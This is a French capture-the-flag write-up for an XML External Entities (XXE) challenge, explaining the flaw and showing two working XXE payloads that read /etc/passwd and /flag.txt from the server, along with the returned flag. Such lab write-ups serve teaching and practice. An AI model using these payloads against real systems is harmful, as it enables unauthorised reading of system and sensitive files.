# XML External Entities (XXE)

## Consignes

Le flag se trouve à la racine !



## Réalisation

Une fois la connexion au challenge de fait, on observe que l'on peut injecter du code XML sur le site.\
Le but va donc être d'essayer d'extraire des informations qui proviennent de la machine.

{% hint style="info" %}
**XXE** est une vulnérabilité qui survient lorsqu’un **parseur XML** traite des **entités externes** non sécurisées. Cela permet à un attaquant de :

* Lire des fichiers locaux (ex: `/etc/passwd`, `/flag.txt`)
* Scanner le réseau interne
* Exfiltrer des données
* Parfois même exécuter du code selon le langage et la configuration du parseur



🔗 **Ressource utile** : [PortSwigger - XML External Entity (XXE)](https://portswigger.net/web-security/xxe)
{% endhint %}



À l'aide du lien fourni ci-dessus, on réalise un premier  test afin de vérifier l'accès aux fichiers présents sur la machine à l'aide du code suivant :&#x20;

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
```

Une fois le code soumis au serveur, il nous retourne bien le contenu du fichier `/etc/passwd`.



On modifie alors le code afin d'afficher le contenu de `flag.txt` présent à la racine de la machine comme nous l'indique l'énoncé :&#x20;

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag.txt"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
```



Suite à l'envoi de ce code XML au serveur, ce dernier nous retourne ceci :&#x20;

```xml
<stockCheck>
  <productId>2600{NHuohnNCk86DYUER0dB2eg}</productId>
</stockCheck>
```



On obtient donc le FLAG :&#x20;

```
2600{NHuohnNCk86DYUER0dB2eg}
```
